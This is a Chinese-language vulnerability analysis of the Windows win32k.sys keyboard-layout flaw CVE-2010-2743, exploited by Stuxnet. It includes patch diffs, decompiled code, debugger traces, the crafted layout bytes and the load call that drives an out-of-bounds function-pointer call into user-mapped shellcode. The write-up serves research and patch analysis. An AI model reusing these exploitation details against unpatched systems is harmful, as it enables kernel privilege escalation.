《附录五:关于内核提权漏洞CVE-2010-2743的分析与利用》 -By nEINEI 漏洞描述: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) cve-2010-2743. 漏洞发生模块:win32k.sys 之前的版本:6.1.7600.16617; 文件大小:2,326,016 字节 补丁后的版本:6.1.7600.16667 文件大小:2,327,552 字节 patchdiff 一下可以明显看到修复的相关函数; 1.00 0.44 BF8DC616 SURFACE::pdcoAA(void) BF8DC482 SURFACE::pdcoAA(void) 0.99 0.99 BF874C5E xxxDesktopWndProcWorker(x,x,x,x) BF874C0E xxxDesktopWndProcWorker(x,x,x,x) 0.99 0.99 BF8D1904 xxxConsoleControl(x,x,x) BF8D1774 xxxConsoleControl(x,x,x) 0.99 0.99 BF900D15 bMigrateSurfaceForConversion(SURFACE *,HLSURF__ *,SURFACE *,HLSURF__ *,int *) BF900B7D bMigrateSurfaceForConversion(SURFACE *,HLSURF__ *,SURFACE *,HLSURF__ *,int *) 0.99 0.99 BF8927C0 RegisterDefaultClass(x) BF8926CE RegisterDefaultClass(x) 0.99 0.99 BF830C76 xxxCsDdeInitialize(x,x,x,x,x) BF830C96 xxxCsDdeInitialize(x,x,x,x,x) 0.99 0.99 BF93E087 xxxMenuWindowProc(x,x,x,x) BF93DE87 xxxMenuWindowProc(x,x,x,x) 0.99 0.99 BF8A7335 NtUserSetWindowLong(x,x,x,x) BF8A7239 NtUserSetWindowLong(x,x,x,x) 0.99 0.99 BF84F206 BltLnkRect(_BLTLNKINFO *,_RECTL *) BF84F196 BltLnkRect(_BLTLNKINFO *,_RECTL *) 0.95 0.99 BF961646 xxxSwitchWndProc(x,x,x,x) BF961406 xxxSwitchWndProc(x,x,x,x) 0.94 0.99 BF837619 xxxSetClassData(x,x,x,x) BF837629 xxxSetClassData(x,x,x,x) 0.92 0.99 BF94DE42 xxxKENLSProcs(x,x) BF94DC3A xxxKENLSProcs(x,x) 0.90 0.99 BF91D1CB _SetWindowWord(x,x,x) BF91D035 _SetWindowWord(x,x,x) 0.89 0.99 BF8923E9 NtUserRegisterClassExWOW(x,x,x,x,x,x,x) BF892389 NtUserRegisterClassExWOW(x,x,x,x,x,x,x) 0.79 0.97 BF8A7398 xxxSetWindowLong(x,x,x,x,x) BF8A729A xxxSetWindowLong(x,x,x,x) 0.78 0.97 BFA210BC PlaySoundConnect(x,x,x) BFA200BC PlaySoundConnect(x,x,x) 0.73 0.99 BFA21005 WmsgpConnect(x,x,x) BFA20005 WmsgpConnect(x,x,x) 0.32 0.73 BF97B2B1 GenerateNlsVkAltKey(x,x,x,x) BF97AFBD GenerateNlsVkAltKey(x,x,x,x) 0.32 0.73 BF97B271 GenerateNlsVkKey(x,x,x,x) BF97AF8E GenerateNlsVkKey(x,x,x,x) 显然GenerateNlsVkAltKey,GenerateNlsVkKey xxxKENLSProcs 被修补了。 补丁前: int __stdcall GenerateNlsVkAltKey(int a1, unsigned __int16 a2, int a3, int a4) { return aNLSKEProc[*(_BYTE *)(a1 + 8 * a2 + 68)](a3, a4, *(_DWORD *)(a1 + 8 * a2 + 72)); } 补丁后: signed int __stdcall GenerateNlsVkAltKey(int a1, unsigned __int16 a2, int a3, int a4) { unsigned __int8 v4; // dl@2 signed int result; // eax@3 if ( a2 >= 8u || (v4 = *(_BYTE *)(a1 + 8 * a2 + 68), v4 >= 0x10u) ) //显然这里对a1,a2进行了合法性的验证。 result = 1; else result = aNLSKEProc[v4](a3, a4, *(_DWORD *)(a1 + 8 * a2 + 72)); return result; } // 针对xxxKENLSProcs的修补 signed int __stdcall xxxKENLSProcs(int a1, int a2) { int v2; // ecx@2 int v3; // eax@2 int v4; // esi@3 signed int result; // eax@7 if ( gpKbdNlsTbl && (v2 = *(_DWORD *)(gpKbdNlsTbl + 8), (v3 = *(_DWORD *)(gpKbdNlsTbl + 4)) != 0) ) { v4 = 132 * v3 + v2 - 131; while ( *(_BYTE *)(v4 - 1) != *(_BYTE *)(a1 + 2) || *(_BYTE *)v4 >= 3u ) // 增加了对*(_BYTE *)v4 >= 3u处理,v4表示对函数项数的校验,不能超过3个,也就是不能让越界 { --v3; v4 -= 0x84; if ( !v3 ) goto LABEL_7; } result = aNLSVKFProc[*(_BYTE *)(v2 + 132 * v3 - 131)](v2 + 132 * v3 - 132, a1, a2); } else { LABEL_7: result = 1; } return result; } lkd> dds win32k!aNLSVKFProc L10 bf9a2808 bf936ed5 win32k!KbdNlsFuncTypeDummy -- index[0] bf9a280c bf936ee0 win32k!KbdNlsFuncTypeNormal -- index[1] bf9a2810 bf936f26 win32k!KbdNlsFuncTypeAlt -- index[2] bf9a2814 ff696867 -- index[3] bf9a2818 ff666564 -- index[4] bf9a281c 60636261 -------------------------- 显然这里的可以被利用,相对应的偏移是index[5] bf9a2820 0000006e bf9a2824 002c006a bf9a2828 00000000 bf9a282c 01030091 bf9a2830 01130090 bf9a2834 00000000 bf9a2838 01130090 bf9a283c 00030091 bf9a2840 00000000 bf9a2844 01030013 //在利用的代码中,通过加载布局文件获得精心构造的一个畸形的字段赋值给 loc_BF94DC81: ; CODE XREF: xxxKENLSProcs(x,x)+31j .text:BF94DC81 push [ebp+arg_4] .text:BF94DC84 imul eax, 84h .text:BF94DC8A add eax, ecx .text:BF94DC8C movzx ecx, byte ptr [eax-83h] //5 == ecx <= [eax-38] == > 5; .text:BF94DC93 push edi .text:BF94DC94 add eax, 0FFFFFF7Ch .text:BF94DC99 push eax .text:BF94DC9A call _aNLSVKFProc[ecx*4] ; NlsNullProc(x,x,x) // ----- 这里ecx可以被控制,执行 .text:BF94DCA1 jmp short loc_BF94DC7B .text:BF94DCA1 _xxxKENLSProcs@8 endp 下面摘自nt4 code /* * Keyboard File object */ typedef struct tagKBDFILE { HEAD head; struct tagKBDFILE *pkfNext; // next keyboard file WCHAR awchKF[9]; // Name of Layout eg: L"00000409" HANDLE hBase; // base address of data PKBDTABLES pKbdTbl; // pointer to kbd layout data. ---------- 这里指向了更新当前布局的keyboard文件 } KBDFILE, *PKBDFILE; /* * Keyboard Layout object */ typedef struct tagKL { /* kl */ HEAD head; struct tagKL *pklNext; // next in layout cycle struct tagKL *pklPrev; // prev in layout cycle DWORD dwFlags; // KL_* flags HKL hkl; // (Layout ID | Base Language ID) KBDFILE *spkf; // Keyboard Layout File DWORD bCharsets; // Windows Codepage bit (Win95 compat) eg: FS_LATIN1 UINT iBaseCharset;// Charset value (Win95 compat) eg: ANSI_CHARSET WORD CodePage; // Windows Codepage of kbd layout, eg: 1252, 1250 #ifdef FE_IME PIMEINFOEX piiex; // Extended information for IME based layout #endif } KL, *PKL; lkd> dd win32k!gpKbdNlsTbl l100 bf9b37f8 00000000 e156dc28 00000000 00000000 bf9b3808 00000000 00000008 00000001 00000000 bf9b3818 e156dc28 00000000 0000003c 01000001 bf9b3828 00010100 01010101 02010101 01020101 bf9b3838 02020102 02020202 03020202 02030202 bf9b3848 02030303 03030303 04030304 04040303 bf9b3858 04040403 00000004 00000000 00000000 bf9b3868 00000000 00000000 00000000 00000000 bf9b3878 00000000 00000000 00000000 00000000 bf9b3888 00000000 00000000 00000000 00000000 bf9b3898 00000000 00000000 04048000 04040404 bf9b38a8 04040404 04040404 04040404 04040404 bf9b38b8 04040404 04040404 04040404 04040404 bf9b38c8 04040404 04040404 04040404 04040404 bf9b38d8 04040404 04040404 04040404 04040404 bf9b38e8 04040404 04040404 04040404 04040404 bf9b38f8 04040404 04040404 04040404 04040404 bf9b3908 04040404 04040404 04040404 04040404 bf9b3918 04040404 04040404 00000404 00000000 bf9b3928 00000000 00000000 00000000 00000000 bf9b3938 00000000 00000000 00000000 00000000 bf9b3948 00000000 00000000 00000000 00000000 bf9b3958 00000000 00000000 00000000 00000000 bf9b3968 00000000 00000000 00000000 00000000 bf9b3978 00000000 00000000 00000000 00000000 bf9b3988 00000000 00000000 00000000 00000000 bf9b3998 00000000 00000000 00000000 1c010217 bf9b39a8 00000000 00000003 000000b0 000000e1 bf9b39b8 00000011 0000015e 0e6495a1 00000000 bf9b39c8 00000000 00000000 00000000 00000000 // 攻击者分2个步骤,一个是利用NtUserLoadKeyboardLayoutEx一个精心构造的键盘布局文件 NtUserLoadKeyboardLayoutEx( hFile, 0x01AE0160, NULL, hKbd, &uStr, 0x666, 0x101 ) ); // 通过第二步调用ntUserSendInput 来出发对这个新的键盘布局的调用 关于这个漏洞的利用,目前为止已经有vupen,symantec,eset的相关讨论,但没看到相关资料详细解释为什么stuxnet使用0x01AE0160这个值? https://rstforums.com/forum/topic/40085-vupen-0-day-exploit-technical-analysis/ 我们可以用分析一下NtUserLoadKeyboardLayoutEx的调用过程 NtUserLoadKeyboardLayoutEx - > xxxSafeLoadKeyboardLayoutEx -> xxxLoadKeyboardLayoutEx - > LoadKeyboardLayoutFile-> ReadLayoutFile -> (tagKBDFILE *pkf, void *hFile, unsigned int offTable, unsigned int offNlsTable) //正常的一个价值键盘布局的情况 kd> p Breakpoint 0 hit eax=000001e3 ebx=93815d17 ecx=87f657c0 edx=93815d17 esi=0014d9c8 edi=0000013c eip=93815d17 esp=8391fd10 ebp=8391fd34 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246 win32k!NtUserLoadKeyboardLayoutEx: 93815d17 681c030000 push 31Ch kd> dds esp l10 8391fd10 83e7b42a nt!KiFastCallEntry+0x12a 8391fd14 0000013c 8391fd18 00001940 ---- > *****offsettable 8391fd1c 00000000 ----> *****offnlstable 8391fd20 0014da18 8391fd24 00000000 8391fd28 0014d9c8 8391fd2c 08090809 8391fd30 00000082 8391fd34 0014d9d8 8391fd38 777e64f4 ntdll!KiFastSystemCallRet 8391fd3c badb0d00 8391fd40 0014d9a8 8391fd44 00000000 8391fd48 00000000 8391fd4c 00000000 // ReadLayoutFile函数中,调用LoadFileContent 已经把键盘布局文件载入到了内存,这里是.data 节的数据 fe5091b8 2e 64 61 74 61 00 00 00 19 0a 00 00 00 10 00 00 00 0c .data............. fe5091ca 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .................. fe5091dc 40 00 00 60 2e 72 73 72 63 00 00 00 08 04 00 00 00 20 @..`.rsrc........ fe5091ee 00 00 00 06 00 00 00 10 00 00 00 00 00 00 00 00 00 00 .................. fe509200 00 00 00 00 40 00 00 42 2e 72 65 6c 6f 63 00 00 aa 00 ....@..B.reloc.... fe509212 00 00 00 30 00 00 00 02 00 00 00 16 00 00 00 00 00 00 ...0.............. fe509224 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 ........@..B...... kd> p eax=fe5091b8 ebx=00000000 ecx=00000000 edx=00000003 esi=fe5091be edi=939f3096 eip=938098e3 esp=8391f898 ebp=8391f8bc iopl=0 nv up ei pl nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206 win32k!ReadLayoutFile+0xc5: 938098e3 8b400c mov eax,dword ptr [eax+0Ch] ds:0023:fe5091c4=00001000 -----》eax相当于SectionTableEntry->VirtualAddress; kd> p eax=00001000 ebx=00000000 ecx=00000000 edx=00000003 esi=fe5091be edi=939f3096 eip=938098e6 esp=8391f898 ebp=8391f8bc iopl=0 nv up ei pl nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206 win32k!ReadLayoutFile+0xc8: 938098e6 8b7d10 mov edi,dword ptr [ebp+10h] ss:0010:8391f8cc=00001940 kd> p eax=00001000 ebx=00000000 ecx=00000000 edx=00000003 esi=fe5091be edi=00001940 eip=938098e9 esp=8391f898 ebp=8391f8bc iopl=0 nv up ei pl nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206 win32k!ReadLayoutFile+0xcb: 938098e9 3bf8 cmp edi,eax kd> p eax=00001000 ebx=00000000 ecx=00000000 edx=00000003 esi=fe5091be edi=00001940 eip=938098eb esp=8391f898 ebp=8391f8bc iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000202 win32k!ReadLayoutFile+0xcd: 938098eb 0f82fc000000 jb win32k!ReadLayoutFile+0x1cf (938099ed) [br=0] kd> p eax=00001000 ebx=00000000 ecx=00000000 edx=00000003 esi=fe5091be edi=00001940 eip=938098f1 esp=8391f898 ebp=8391f8bc iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000202 win32k!ReadLayoutFile+0xd3: 938098f1 2bf8 sub edi,eax // 计算键盘布局文件dll中.data节 SectionTableEntry->VirtualAddress 与 edi(传入的offsettable = 00001940) 差值= 0x940 kd> p eax=00001000 ebx=00000000 ecx=00000000 edx=00000003 esi=fe5091be edi=00000940 --- > 差值 eip=938098f3 esp=8391f898 ebp=8391f8bc iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000202 // 继续运行会利用这个差值定位KBDTABLES结构 win32k!ReadLayoutFile+0x14a: 93809968 8b4508 mov eax,dword ptr [ebp+8] ss:0010:8391f8c4=fd6c5160 kd> p eax=fd6c5160 ebx=fe12a5e0 ecx=00000000 edx=00000001 esi=00000a19 edi=00000940 eip=9380996b esp=8391f88c ebp=8391f8bc iopl=0 nv up ei pl nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000216 win32k!ReadLayoutFile+0x14d: 9380996b 897014 mov dword ptr [eax+14h],esi ds:0023:fd6c5174=00000000 kd> p eax=fd6c5160 ebx=fe12a5e0 ecx=00000000 edx=00000001 esi=00000a19 edi=00000940 eip=9380996e esp=8391f88c ebp=8391f8bc iopl=0 nv up ei pl nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000216 win32k!ReadLayoutFile+0x150: 9380996e 8b45fc mov eax,dword ptr [ebp-4] ss:0010:8391f8b8=fe5091b8 kd> p eax=fe5091b8 ebx=fe12a5e0 ecx=00000000 edx=00000001 esi=00000a19 edi=00000940 eip=93809971 esp=8391f88c ebp=8391f8bc iopl=0 nv up ei pl nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000216 win32k!ReadLayoutFile+0x153: 93809971 8b400c mov eax,dword ptr [eax+0Ch] ds:0023:fe5091c4=00001000 kd> p eax=00001000 ebx=fe12a5e0 ecx=00000000 edx=00000001 esi=00000a19 edi=00000940 eip=93809974 esp=8391f88c ebp=8391f8bc iopl=0 nv up ei pl nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000216 win32k!ReadLayoutFile+0x156: 93809974 83c40c add esp,0Ch kd> p eax=00001000 ebx=fe12a5e0 ecx=00000000 edx=00000001 esi=00000a19 edi=00000940。--> 差值offsettable eip=93809977 esp=8391f898 ebp=8391f8bc iopl=0 nv up ei ng nz ac po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000292 win32k!ReadLayoutFile+0x159: 93809977 03df add ebx,edi --> ebx指向了.data节中偏移0x7a4的位置 fe12a5e0 ff 00 1b 00 31 00 32 00 33 00 34 00 35 00 36 00 37 00 ....1.2.3.4.5.6.7. fe12a5f2 38 00 39 00 30 00 bd 00 bb 00 08 00 09 00 51 00 57 00 8.9.0.........Q.W. fe12a604 45 00 52 00 54 00 59 00 55 00 49 00 4f 00 50 00 db 00 E.R.T.Y.U.I.O.P... fe12a616 dd 00 0d 00 a2 00 41 00 53 00 44 00 46 00 47 00 48 00 ......A.S.D.F.G.H. fe12a628 4a 00 4b 00 4c 00 ba 00 c0 00 df 00 a0 00 de 00 5a 00 J.K.L...........Z. fe12a63a 58 00 43 00 56 00 42 00 4e 00 4d 00 bc 00 be 00 bf 00 X.C.V.B.N.M....... fe12a64c a1 01 6a 02 a4 00 20 00 14 00 70 00 71 00 72 00 73 00 ..j... ...p.q.r.s. fe12a65e 74 00 75 00 76 00 77 00 78 00 79 00 90 03 91 02 24 0c t.u.v.w.x.y.....$. fe12a670 26 0c 21 0c 6d 00 25 0c 0c 0c 27 0c 6b 00 23 0c 28 0c &.!.m.%...'.k.#.(. add ebx,edi // 加上这个偏移后KBDTABLES结构; fe12af20 ac 11 ff 5f d8 13 ff 5f 00 00 00 00 e0 15 ff 5f 88 18 ..._..._......._.. fe12af32 ff 5f 00 00 00 00 00 10 ff 5f 7f 00 00 00 00 11 ff 5f ._......._......._ fe12af44 9c 11 ff 5f 01 00 01 00 00 00 00 00 00 00 00 00 00 00 ..._.............. fe12af56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 af a8 5b 4a ................[J fe12af68 00 00 00 00 b2 19 00 00 01 00 00 00 01 00 00 00 01 00 .................. fe12af7a 00 00 a8 19 00 00 ac 19 00 00 b0 19 00 00 13 1a 00 00 .................. fe12af8c bc 19 00 00 00 00 4b 42 44 55 4b 2e 64 6c 6c 00 4b 62 ......KBDUK.dll.Kb fe12af9e 64 4c 61 79 65 72 44 65 73 63 72 69 70 74 6f 72 00 00 dLayerDescriptor.. fe12afb0 00 00 00 00 4e c2 5b 4a 00 00 00 00 02 00 00 00 22 00 ....N.[J........". fe12afc2 00 00 ec 19 00 00 ec 0d 00 00 52 53 44 53 57 7f 2f fe ..........RSDSW./. fe12afd4 67 5b 06 42 89 d2 d7 1a 05 10 f4 2a 01 00 00 00 6b 62 g[.B.......*....kb fe12afe6 64 75 6b 2e 70 64 62 00 00 00 00 00 00 b8 40 19 ff 5f duk.pdb.......@.._ kd> p eax=00001000 ebx=fe12af20(指向了KBDTABLES) ecx=00000000 edx=00000001 esi=00000a19 edi=00000940 eip=93809979 esp=8391f898 ebp=8391f8bc iopl=0 nv up ei ng nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000282 win32k!ReadLayoutFile+0x15b: 93809979 39450c cmp dword ptr [ebp+0Ch],eax ss:0010:8391f8c8=fe12a5e0 //对于stuxnet来讲,恶意构造的布局 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" ----- 05 这个索引会被加载到 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //后面的代码会修正这是个结构中的指针偏移情况,然后将这个新的键盘布局信息全局的KBDFILE,即gpkfList信息当中| ReadLayoutFile中根据offtable来设置 KBDTABLES的相关结构,offtable的低2个字节的rva用来表示KBDTABLES,高2个字节的rva用来表示KBDNLSTABLES, typedef struct tagKbdLayer { /* * Modifier keys */ PMODIFIERS pCharModifiers; /* * Characters */ VK_TO_WCHAR_TABLE *pVkToWcharTable; // ptr to tbl of ptrs to tbl /* * Diacritics */ PDEADKEY pDeadKey; /* * Names of Keys */ VSC_LPWSTR *pKeyNames; VSC_LPWSTR *pKeyNamesExt; LPWSTR *pKeyNamesDead; /* * Scan codes to Virtual Keys */ USHORT *pusVSCtoVK; BYTE bMaxVSCtoVK; PVSC_VK pVSCtoVK_E0; // Scancode has E0 prefix PVSC_VK pVSCtoVK_E1; // Scancode has E1 prefix /* * Locale-specific special processing */ DWORD fLocaleFlags; } KBDTABLES, *PKBDTABLES; 然后在LoadKeyboardLayoutFile函数中,因为是新的布局文件文件所以会产生一个新的描述结构KBDFILE, int __stdcall LoadKeyboardLayoutFile(HANDLE FileHandle, size_t a2, int a3, int a4, wchar_t *a5, int a6, int a7) { int i; // esi@1 int v8; // eax@3 int v9; // eax@5 for ( i = gpkfList; i; i = *(_DWORD *)(i + 8) ) { if ( a5 && !_wcsicmp((const wchar_t *)(i + 28), a5) ) return i; } v8 = HMAllocObject(0, 0, 14, 0x5Cu); i = v8; if ( v8 ) { if ( FileHandle ) { wcsncpycch(v8 + 28, a5, 32); *(_WORD *)(i + 90) = 0; v9 = ReadLayoutFile(i, FileHandle, a2, a3); *(_DWORD *)(i + 16) = v9; // 这里相当于是 pkf->pKbdTbl = v9 (v9 指向了加载的KBDTABLES文件) if ( a6 || a7 ) { *(_DWORD *)(v9 + 52) = a6; *(_DWORD *)(*(_DWORD *)(i + 16) + 56) = a7; v61 = (unsigned int)(&pBaseDsta[offNlsTable] - v60); // 这里offNlsTable是传入参数 ... pkf->pKbdNlsTbl = (tagKbdNlsLayer *)v61; // 把KBDNLSTABLES 挂在到pkf上就是解析新的布局文件的offNlsTable ...... return pkf; } LoadKeyboardLayoutFile 函数返回后,可以看到通过HMAssignmentLock函数把v13也就是pkf挂接在了tagKL(键盘布局对象当中) v13 = LoadKeyboardLayoutFile( v11, *(_WORD *)(v9 + 4), *(_WORD *)(v9 + 6), (int)SourceString, (wchar_t *)v10 - 34, *(v10 - 1), v12); if ( !v13 ) break; HMAssignmentLock(*(_DWORD *)(v17 + 52) + 4 * v42++, v13); // 相当于pkl->spkf = v13(pkf) 下面是这个结构的相关信息; /* * Keyboard Layout object */ typedef struct tagKL { /* kl */ HEAD head; struct tagKL *pklNext; // next in layout cycle struct tagKL *pklPrev; // prev in layout cycle DWORD dwFlags; // KL_* flags HKL hkl; // (Layout ID | Base Language ID) KBDFILE *spkf; // Keyboard Layout File DWORD bCharsets; // Windows Codepage bit (Win95 compat) eg: FS_LATIN1 UINT iBaseCharset;// Charset value (Win95 compat) eg: ANSI_CHARSET WORD CodePage; // Windows Codepage of kbd layout, eg: 1252, 1250 #ifdef FE_IME PIMEINFOEX piiex; // Extended information for IME based layout #endif } KL, *PKL; 这些信息都存储在gpkfList 结构当中,接着通过将KL设置为gpKbdNlsTbl信息上,下面的a1 就是v17 = pkl 信息. int __stdcall SetGlobalKeyboardTableInfo(int a1) { int result; // eax@5 gpKbdTbl = *(PVOID *)(*(_DWORD *)(a1 + 24) + 16); if ( gpKL != a1 ) gpKL = a1; if ( v7FFE02D0 & 0x10 ) { ghKbdTblBase = *(PVOID *)(*(_DWORD *)(a1 + 24) + 12); guKbdTblSize = *(_DWORD *)(*(_DWORD *)(a1 + 24) + 20); } result = *(_DWORD *)(*(_DWORD *)(a1 + 24) + 24); gpKbdNlsTbl = *(_DWORD *)(*(_DWORD *)(a1 + 24) + 24); // 也就是相当于 gpKbdNlsTbl = pkl->spkf->pkbdNlsTbl return result; } kd> x win32k!*gpk* 93a1e72c win32k!gpKL = 93a1e418 win32k!gpkthreadRIT = 93a1e728 win32k!gpKbdNlsTbl = ------------------------------------------------------------------------ \|/ 93a1da5c win32k!gpkfList = --------------------------------------------------------------------------------- \|/ 93a1e40c win32k!gpkeRITEvent = 93a063c0 win32k!gpKbdTbl = 接下来,攻击者使用sendinput,来触发漏洞时,会调用xxxKENLSProcs, kd> kv # ChildEBP RetAddr Args to Child 00 b26a9c88 bf849a3a b26a9cc8 00000000 00000000 win32k!xxxKENLSProcs (FPO: [Non-Fpo]) 01 b26a9ca4 bf849e88 b26a9c00 00000000 00000001 win32k!xxxProcessKeyEvent+0x1f9 (FPO: [Non-Fpo]) 02 b26a9ce4 bf849d48 00000000 00000000 00000000 win32k!xxxInternalKeyEventDirect+0x158 (FPO: [Non-Fpo]) 03 b26a9d0c bf849bc6 00000001 e1b93900 b26a9d64 win32k!xxxSendInput+0xa2 (FPO: [Non-Fpo]) 04 b26a9d50 8053d808 00000001 0012fb3c 0000001c win32k!NtUserSendInput+0xcd (FPO: [Non-Fpo]) 05 b26a9d50 7c92eb94 00000001 0012fb3c 0000001c nt!KiFastCallEntry+0xf8 (FPO: [0,0] TrapFrame @ b26a9d64) _gpKbdNlsTbl 指向如下结构,其中需要注意的是pVkToF typedef struct tagKBDNLSLAYER { USHORT OEMIdentifier; USHORT LayoutInformation; UINT NumOfVkToF; struct _VK_TO_FUNCTION_TABLE *pVkToF; INT NumOfMouseVKey; PUSHORT pusMouseVKey; } KBDNLSLAYER, *PKBDNLSLAYER; // 按照eset给出的结构信息 _VK_TO_FUNCTION_TABLE{ BYTE Vk; // Virtual-key code BYTE NLSFEProcType; // 这个就是索引,布局keyboard文件的数字5就是这里,他使得_aNLSVKProc函数指针调用了索引5的位置。 BYTE NLSFEProcCurrent; BYTE NLSFEProcSwitch; VK_FPARAM NLSFEProc[8]; VK_FPARAM NLSFEProcAlt[8]; } 通过调用控制xxxKENLSProcs .text:BF8485BA ; __stdcall xxxKENLSProcs(x, x) .text:BF8485BA _xxxKENLSProcs@8 proc near ; CODE XREF: xxxProcessKeyEvent(x,x,x,x)+111p .text:BF8485BA .text:BF8485BA arg_0 = dword ptr 8 .text:BF8485BA arg_4 = dword ptr 0Ch .text:BF8485BA .text:BF8485BA ; FUNCTION CHUNK AT .text:BF848563 SIZE 00000052 BYTES .text:BF8485BA .text:BF8485BA mov edi, edi .text:BF8485BC push ebp .text:BF8485BD mov ebp, esp .text:BF8485BF mov eax, _gpKbdNlsTbl --- eax可以被控制,指向被控制的键盘布局文件 .text:BF8485C4 test eax, eax .text:BF8485C6 push esi .text:BF8485C7 push edi .text:BF8485C8 jnz short loc_BF848585 .text:BF848585 ; --------------------------------------------------------------------------- .text:BF848585 .text:BF848585 loc_BF848585: ; CODE XREF: xxxKENLSProcs(x,x)+Ej .text:BF848585 mov ecx, [eax+8] ; ecx ---- 可被控制 .text:BF848588 mov eax, [eax+4] ; eax ---- 可被控制 .text:BF84858B test eax, eax .text:BF84858D jz short loc_BF8485CA .text:BF84858F mov edi, [ebp+arg_0] .text:BF848592 mov dl, [edi+2] .text:BF848595 mov esi, eax .text:BF848597 imul esi, 84h .text:BF84859D lea esi, [esi+ecx-84h] .text:BF8485A4 .text:BF8485A4 loc_BF8485A4: ; CODE XREF: xxxKENLSProcs(x,x)-9j .text:BF8485A4 cmp [esi], dl .text:BF8485A6 jz short loc_BF848563 .text:BF848563 loc_BF848563: ; CODE XREF: xxxKENLSProcs(x,x)-14j .text:BF848563 push [ebp+arg_4] .text:BF848566 imul eax, 84h ; 每一组kbNLStable 大小为84个字节 .text:BF84856C add eax, ecx ; ---- eax 可被控制 .text:BF84856E movzx ecx, byte ptr [eax-83h] -- eax -----可以被控制 .text:BF848575 push edi .text:BF848576 add eax, 0FFFFFF7Ch .text:BF84857B push eax .text:BF84857C call _aNLSVKFProc[ecx*4] ; NlsNullProc(x,x,x) --- 这里越界ecx = 5;// 调用了最开始由用户态分配的60636261内存里面的shellcode. .text:BF848583 jmp short loc_BF8485CD 我们也可以看到其他资料中的关于KbdNlsTables描述; /***********************************************************************\ * KbdNlsTables * \***********************************************************************/ static ALLOC_SECTION_LDATA KBDNLSTABLES KbdNlsTables = { 0, // OEM ID (0 = Microsoft) 0, // Information 4, // Number of VK_F entry VkToFuncTable_106, // Pointer to VK_F array 0, // Number of MouseVk entry NULL // Pointer to MouseVk array }; static ALLOC_SECTION_LDATA KBDNLSTABLES KbdNlsTablesNEC98 = { 0x0d, // OEM ID (0x0d = NEC) 0, // Information 4, // Number of VK_F entry VkToFuncTable_106, // Pointer to VK_F array 0, // Number of MouseVk entry NULL // Pointer to MouseVk array }; PKBDNLSTABLES KbdNlsLayerDescriptor(VOID) { if (!IsNEC_98) { return &KbdNlsTables; } else { return &KbdNlsTablesNEC98; } } 总结一下,攻击者通过构造keyboard键盘布局文件,通过NtUserLoadKeyboardLayoutEx来加载新的键盘布局文件,精心构造的文件 会使得pkl->spkf->KbdNlsTables->pVkToF->Information == 5 来越界调用0x60636261位置代码;通常offNlsTable = 0 ,而offtable在攻击 者的使用中是0x01AE0160,但通过分析可以看到这个值其实并不和漏洞有直接的利用关系。所以该值是否具有特殊的含义或是标示就不得而知了。